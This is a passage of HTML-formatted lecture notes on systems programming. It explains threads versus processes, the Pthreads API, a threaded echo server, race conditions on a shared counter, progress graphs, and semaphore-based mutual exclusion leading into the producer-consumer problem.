&lt;li&gt;Process = Process Context + Code, Data, and Stack&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.99to4u73a0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Alternate View of a Process&lt;/h4&gt;
&lt;p&gt;Process = Thread + Code, Data, and Kernel Context&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2326ria3fm.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;A Process With Multiple Threads&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Multiple threads can be associated with a process
&lt;ul&gt;
&lt;li&gt;Each thread has its own logical control flow&lt;/li&gt;
&lt;li&gt;Each thread shares the same code, data, and kernel context&lt;/li&gt;
&lt;li&gt;Each thread has its own stack for local variables
&lt;ul&gt;
&lt;li&gt;but not protected from other threads&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Each thread has its own &lt;strong&gt;Thread ID (TID)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8adkroasgr.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Logical View of Threads&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Threads associated with process form a pool of peers
&lt;ul&gt;
&lt;li&gt;Unlike processes which form a tree hierarchy&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok0ijlb4s.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Concurrent Threads&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Two threads are concurrent if their flows overlap in time&lt;/li&gt;
&lt;li&gt;Otherwise, they are sequential&lt;/li&gt;
&lt;li&gt;Examples:
&lt;ul&gt;
&lt;li&gt;Concurrent: A &amp;amp; B, A &amp;amp; C&lt;/li&gt;
&lt;li&gt;Sequential: B &amp;amp; C&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8vn8dza7zb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Concurrent Thread Execution&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Single Core Processor
&lt;ul&gt;
&lt;li&gt;Simulate parallelism by time slicing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Multi Core Processor
&lt;ul&gt;
&lt;li&gt;Can have true parallelism&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175pc2d71f.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Threads vs. Processes&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;How threads and processes are similar ?
&lt;ul&gt;
&lt;li&gt;Each has its own logical control flow&lt;/li&gt;
&lt;li&gt;Each can run concurrently with others (possibly on different cores)&lt;/li&gt;
&lt;li&gt;Each is context switched&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;How threads and processes are different ?
&lt;ul&gt;
&lt;li&gt;Threads share all code and data (except local stacks)
&lt;ul&gt;
&lt;li&gt;Processes (typically) do not&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Threads are somewhat less expensive than processes
&lt;ul&gt;
&lt;li&gt;Process control (creating and reaping) twice as expensive as thread control&lt;/li&gt;
&lt;li&gt;Linux numbers:
&lt;ul&gt;
&lt;li&gt;~20K cycles to create and reap a process&lt;/li&gt;
&lt;li&gt;~10K cycles (or less) to create and reap a thread&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Posix Threads (Pthreads) Interface&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Pthreads: Standard interface for ~60 functions that manipulate threads from C programs
&lt;ul&gt;
&lt;li&gt;Creating and reaping threads
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pthread_create()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pthread_join()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Determining your thread ID
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pthread_self()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Terminating threads
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pthread_cancel()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pthread_exit()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exit()&lt;/code&gt; terminates all threads , &lt;code&gt;ret&lt;/code&gt; terminates current thread&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Synchronizing access to shared variables
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pthread_mutex_init&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pthread_mutex_[un]lock&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The Pthreads &quot;hello, world&quot; Program&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;void *thread(void *vargp);

int main() {
  pthread_t tid;

  pthread_create(&amp;amp;tid, NULL, thread, NULL);
  pthread_join(tid, NULL);
  exit(0);
}

void *thread(void *vargp) {
  printf(&quot;Hello, world!\n&quot;);
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5fkwlxka11.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Thread-Based Concurrent Echo Server&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;void *thread(void *vargp);

int main(int argc, char **argv) {
  int listenfd, *connfdp;
  socklen_t clientlen;
  struct sockaddr_storage clientaddr;
  pthread_t tid;

  listenfd = open_listenfd(argv[1]);
  while (1) {
    clientlen = sizeof(struct sockaddr_storage);
    connfdp = malloc(sizeof(int));
    *connfdp = accept(listenfd, (SA *)&amp;amp;clientaddr, &amp;amp;clientlen);
    pthread_create(&amp;amp;tid, NULL, thread, connfdp);
  }
}

void *thread(void *vargp) {
  int connfd = *((int *)vargp);

  pthread_detach(pthread_self());
  free(vargp);
  echo(connfd);
  close(connfd);
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;malloc&lt;/code&gt; of connected descriptor necessary to avoid deadly race (but still have subtle problem)&lt;/li&gt;
&lt;li&gt;Run thread in &lt;code&gt;detached&lt;/code&gt; mode
&lt;ul&gt;
&lt;li&gt;Runs independently of other threads&lt;/li&gt;
&lt;li&gt;Reaped automatically (by kernel) when it terminates&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Free storage allocated to hold &lt;em&gt;connfd&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Close &lt;em&gt;connfd&lt;/em&gt; (important!)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Thread-based Server Execution Model&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1apb9tsbn9.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each client handled by individual peer thread&lt;/li&gt;
&lt;li&gt;Threads share all process state except TID&lt;/li&gt;
&lt;li&gt;Each thread has a separate stack for local variables&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Issues With Thread-Based Servers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Must run &quot;detached&quot; to avoid memory leak
&lt;ul&gt;
&lt;li&gt;At any point in time, a thread is either &lt;em&gt;joinable&lt;/em&gt; or &lt;em&gt;detached&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Joinable thread can be reaped and killed by other threads
&lt;ul&gt;
&lt;li&gt;must be reaped (with &lt;strong&gt;pthread_join&lt;/strong&gt;) to free memory resources&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Detached thread cannot be reaped or killed by other threads
&lt;ul&gt;
&lt;li&gt;resources are automatically reaped on termination&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Default state is joinable
&lt;ul&gt;
&lt;li&gt;use &lt;code&gt;pthread_detach(pthread_self())&lt;/code&gt; to make detached&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Must be careful to avoid unintended sharing
&lt;ul&gt;
&lt;li&gt;For example, passing pointer to main thread&apos;s stack
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pthread_create(&amp;amp;tid, NULL, thread, (void *)&amp;amp;connfd);&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;All functions called by a thread must be &lt;em&gt;thread-safe&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Pros and Cons of Thread-Based Designs&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Easy to share data structures between threads
&lt;ul&gt;
&lt;li&gt;e.g., logging information, file cache&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Threads are more efficient than processes&lt;/li&gt;
&lt;li&gt;Unintentional sharing can introduce subtle and hard-to-reproduce errors !
&lt;ul&gt;
&lt;li&gt;The ease with which data can be shared is both the greatest strength and the greatest weakness of threads&lt;/li&gt;
&lt;li&gt;Hard to know which data shared &amp;amp; which private&lt;/li&gt;
&lt;li&gt;Hard to detect by testing
&lt;ul&gt;
&lt;li&gt;Probability of bad race outcome very low&lt;/li&gt;
&lt;li&gt;But nonzero !&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Synchronization&lt;/h1&gt;
&lt;h2&gt;Shared Variables in Threaded C Programs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Question: Which variables in a threaded C program are shared ?
&lt;ul&gt;
&lt;li&gt;The answer is not as simple as &quot;global variables are shared&quot; and &quot;stack variables are private&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Def: A variable &lt;strong&gt;x&lt;/strong&gt; is shared if and only if multiple threads reference some instance of &lt;strong&gt;x&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Requires answers to the following questions:
&lt;ul&gt;
&lt;li&gt;What is the memory model for threads ?&lt;/li&gt;
&lt;li&gt;How are instances of variables mapped to memory ?&lt;/li&gt;
&lt;li&gt;How many threads might reference each of these instances ?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Threads Memory Model&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Conceptual model:
&lt;ul&gt;
&lt;li&gt;Multiple threads run within the context of a single process&lt;/li&gt;
&lt;li&gt;Each thread has its own separate thread context
&lt;ul&gt;
&lt;li&gt;Thread ID, stack, stack pointer, PC, condition codes, and GP registers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;All threads share the remaining process context
&lt;ul&gt;
&lt;li&gt;Code, data, heap, and shared library segments of the process virtual address space&lt;/li&gt;
&lt;li&gt;Open files and installed handlers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Operationally, this model is not strictly enforced:
&lt;ul&gt;
&lt;li&gt;Register values are truly separate and protected, but...&lt;/li&gt;
&lt;li&gt;Any thread can read and write the stack of any other thread&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::caution
The mismatch between the conceptual and operation model is a source of confusion and errors.
:::&lt;/p&gt;
&lt;h2&gt;Example Program to Illustrate Sharing&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;void *thread(void *vargp);

char **ptr; /* global var */

int main() {
  long i;
  pthread_t tid;
  char *msgs[2] = {
    &quot;Hello from foo&quot;,
    &quot;Hello from bar&quot;
  };

  ptr = msgs;
  for (i = 0; i &amp;lt; 2; i++)
    pthread_create(&amp;amp;tid, NULL, thread, (void *)i);
  pthread_exit(NULL);
}

void *thread(void *vargp) {
  long myid = (long)vargp;
  static int cnt = 0;

  printf(&quot;[%ld]: %s (cnt=%d)\n&quot;, myid, ptr[myid], ++cnt);
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Peer threads reference main thread&apos;s stack indirectly through global &lt;strong&gt;ptr&lt;/strong&gt; variable&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ptr&lt;/code&gt;, &lt;code&gt;cnt&lt;/code&gt;, and &lt;code&gt;msgs&lt;/code&gt; are shared, &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;myid&lt;/code&gt; are not shared&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Example for Improper Synchronizing Threads&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;void *thread(void *vargp);

/* Global shared variable */
volatile long cnt = 0;

int main(int argc, char **argv) {
  long niters;
  pthread_t tid1, tid2;

  niters = atoi(argv[1]);
  pthread_create(&amp;amp;tid1, NULL, thread, &amp;amp;niters);
  pthread_create(&amp;amp;tid2, NULL, thread, &amp;amp;niters);
  pthread_join(tid1, NULL);
  pthread_join(tid2, NULL);

  /* Check result */
  if (cnt != (2 * niters))
    printf(&quot;BOOM! cnt=%ld\n&quot;, cnt);
  else
    printf(&quot;OK cnt=%ld\n&quot;, cnt);
  exit(0);
}

void *thread(void *vargp) {
  long i, niters = *((long *)vargp);
  for (i = 0; i &amp;lt; niters; i++)
    cnt++;
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;linux&amp;gt; ./badcnt 10000
OK cnt=20000
linux&amp;gt; ./badcnt 10000
BOOM! cnt=13051
linux&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;cnt&lt;/code&gt; should equal 20,000. What went wrong ?&lt;/p&gt;
&lt;h3&gt;Assembly Code for Counter Loop&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4xuuy2hxud.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Concurrent Execution&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Key idea: In general, any sequentially consistent interleaving is possible, but some give an unexpected result !
&lt;ul&gt;
&lt;li&gt;$I_{i}$ denotes that thread $i$ executes instruction $I$&lt;/li&gt;
&lt;li&gt;$%rdx_{i}$ is the content of $%rdx$ in thread $i$&apos;s context&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh3czreim.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Incorrect ordering: two threads increment the counter, but the result is 1 instead of 2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4n814xg1sw.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And the following ordering is still wrong&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175pcu751p.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can analyze the behavior using a &lt;em&gt;progress graph&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Progress Graphs&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4cl7bsa74r.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;em&gt;progress graph&lt;/em&gt; depicts the discrete &lt;em&gt;execution state space&lt;/em&gt; of concurrent threads&lt;/li&gt;
&lt;li&gt;Each axis corresponds to the sequential order of instructions in a thread&lt;/li&gt;
&lt;li&gt;Each point corresponds to a possible &lt;em&gt;execution state&lt;/em&gt; $( I_{1} ,I_{2})$
&lt;ul&gt;
&lt;li&gt;E.g., $( L_{1} ,S_{2})$ denotes state where thread 1 has completed $L_{1}$ and thread 2 has completed $S_{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trajectories in Progress Graphs&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.54y2tjvj2j.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;em&gt;trajectory&lt;/em&gt; is a sequence of legal state transitions that describes one possible concurrent execution of the threads&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Critical Sections and Unsafe Regions&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1sfcz6wzxo.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$L$, $U$, and $S$ form a &lt;em&gt;critical section&lt;/em&gt; with respect to the shared variable &lt;strong&gt;cnt&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Instructions in critical sections (write some shared variable) should not be interleaved&lt;/li&gt;
&lt;li&gt;Sets of states where such interleaving occurs form &lt;em&gt;unsafe regions&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Def: A trajectory is &lt;em&gt;safe&lt;/em&gt; iff it does not enter any unsafe region&lt;/li&gt;
&lt;li&gt;Claim: A trajectory is correct (write &lt;strong&gt;cnt&lt;/strong&gt;) iff it is safe&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3yerkyvgg9.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Enforcing Mutual Exclusion&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Question: How can we guarantee a safe trajectory ?&lt;/li&gt;
&lt;li&gt;Answer: We must &lt;em&gt;synchronize&lt;/em&gt; the execution of the threads so that they can never have an unsafe trajectory
&lt;ul&gt;
&lt;li&gt;i.e., need to guarantee &lt;em&gt;mutually exclusive access&lt;/em&gt; for each critical section&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Classic solution:
&lt;ul&gt;
&lt;li&gt;Semaphores (Edsger Dijkstra)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Other approaches:
&lt;ul&gt;
&lt;li&gt;Mutex and condition variables (Pthreads)&lt;/li&gt;
&lt;li&gt;Monitors (Java)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Semaphores&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Semaphore: non-negative global integer synchronization variable. Manipulated by &lt;code&gt;P&lt;/code&gt; and &lt;code&gt;V&lt;/code&gt; operations (&lt;strong&gt;P&lt;/strong&gt; and &lt;strong&gt;V&lt;/strong&gt; correspond to the dutch words &lt;em&gt;Proberen&lt;/em&gt; and &lt;em&gt;Verhogen&lt;/em&gt; respectively)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;P(s)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;If &lt;em&gt;s&lt;/em&gt; is nonzero, then decrement &lt;em&gt;s&lt;/em&gt; by 1 and return immediately
&lt;ul&gt;
&lt;li&gt;Test and decrement operations occur atomically (indivisibly)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If &lt;em&gt;s&lt;/em&gt; is zero, then suspend thread until &lt;em&gt;s&lt;/em&gt; becomes nonzero and the thread is restarted by a &lt;em&gt;V&lt;/em&gt; operation&lt;/li&gt;
&lt;li&gt;After restarting, the &lt;em&gt;P&lt;/em&gt; operation decrements &lt;em&gt;s&lt;/em&gt; and returns control to the caller&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;V(s)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Increment &lt;em&gt;s&lt;/em&gt; by 1
&lt;ul&gt;
&lt;li&gt;Increment operation occurs atomically&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If there are any threads blocked in a &lt;em&gt;P&lt;/em&gt; operation waiting for &lt;em&gt;s&lt;/em&gt; to become non-zero, then restart exactly one of those threads, which then completes its &lt;em&gt;P&lt;/em&gt; operation by decrementing &lt;em&gt;s&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Semaphore invariant: $s\geqslant 0$&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Using Semaphores for Mutual Exclusion&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;semaphore.h&amp;gt;

int sem_init(sem_t *s, 0, unsigned int val); /* s = val */
int sem_wait(sem_t *s); /* P(s) */
int sem_post(sem_t *s); /* V(s) */
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Basic idea:
&lt;ul&gt;
&lt;li&gt;Associate a unique semaphore &lt;em&gt;mutex&lt;/em&gt;, initially 1, with each shared variable (or related set of shared variables)&lt;/li&gt;
&lt;li&gt;Surround corresponding critical sections with &lt;code&gt;P(mutex)&lt;/code&gt; and &lt;code&gt;V(mutex)&lt;/code&gt; operations&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Terminology:
&lt;ul&gt;
&lt;li&gt;Binary semaphore: semaphore whose value is always 0 or 1&lt;/li&gt;
&lt;li&gt;Mutex: binary semaphore used for mutual exclusion
&lt;ul&gt;
&lt;li&gt;P operation: &quot;locking&quot; the mutex&lt;/li&gt;
&lt;li&gt;V operation: &quot;unlocking&quot; or &quot;releasing&quot; the mutex&lt;/li&gt;
&lt;li&gt;&quot;Holding&quot; a mutex: locked and not yet unlocked&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Counting semaphore: used as a counter for set of available resources&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Fix for Improper Synchronizing Threads&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Define and initialize a mutex for the shared variable &lt;em&gt;cnt&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;volatile long cnt = 0;  /* Counter */
sem_t mutex;            /* Semaphore that protects cnt */
sem_init(&amp;amp;mutex, 0, 1); /* mutex = 1 */
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Surround critical section with &lt;em&gt;P&lt;/em&gt; and &lt;em&gt;V&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;for (i = 0; i &amp;lt; niters; i++) {
  sem_wait(&amp;amp;mutex);
  cnt++;
  sem_post(&amp;amp;mutex);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warning
Its orders of magnitude slower than improper one.
:::&lt;/p&gt;
&lt;h2&gt;Why Mutexes Work&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkb8jafx7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Provide mutually exclusive access to shared variable by surrounding critical section with &lt;em&gt;P&lt;/em&gt; and &lt;em&gt;V&lt;/em&gt; operations on semaphore &lt;em&gt;s&lt;/em&gt; (initially set to 1)&lt;/li&gt;
&lt;li&gt;Semaphore invariant creates a &lt;em&gt;forbidden region&lt;/em&gt; that encloses unsafe region and that cannot be entered by any trajectory&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Using Semaphores to Coordinate Access to Shared Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Basic idea: Thread uses a semaphore operation to notify another thread that some condition has become true
&lt;ul&gt;
&lt;li&gt;Use counting semaphores to keep track of resource state and to notify other threads&lt;/li&gt;
&lt;li&gt;Use mutex to protect access to resource&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Two classic examples:
&lt;ul&gt;
&lt;li&gt;The Producer-Consumer Problem&lt;/li&gt;
&lt;li&gt;The Readers-Writers Problem&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Producer-Consumer Problem&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4jof8anjlq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Common synchronization pattern:
&lt;ul&gt;
&lt;li&gt;Producer waits for empty &lt;em&gt;slot&lt;/em&gt;, inserts item in buffer, and notifies consumer&lt;/li&gt;
&lt;li&gt;Consumer waits for &lt;em&gt;item&lt;/em&gt;, removes it from buffer, and notifies producer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Examples:
&lt;ul&gt;
&lt;li&gt;Multimedia processing:
&lt;ul&gt;
&lt;li&gt;Producer creates MPEG video frames, consumer renders them&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Event-driven graphical user interfaces
&lt;ul&gt;
&lt;li&gt;Producer detects mouse clicks, mouse movements, and keyboard hits and inserts corresponding events in buffer&lt;/li&gt;
&lt;li&gt;Consumer retrieves events from buffer and paints the display&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Producer-Consumer on an n-element Buffer&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Requires a mutex and two counting semaphores:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mutex&lt;/code&gt;: enforces mutually exclusive access to the buffer&lt;/li&gt;
&lt;li&gt;&lt;code&gt;slots&lt;/code&gt;: counts the available slots in the buffer&lt;/li&gt;
&lt;li&gt;&lt;code&gt;items&lt;/code&gt;: counts the available items in the buffer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Implemented using a shared circular (ring) buffer package called &lt;em&gt;sbuf&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;sbuf Package&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;typedef struct {
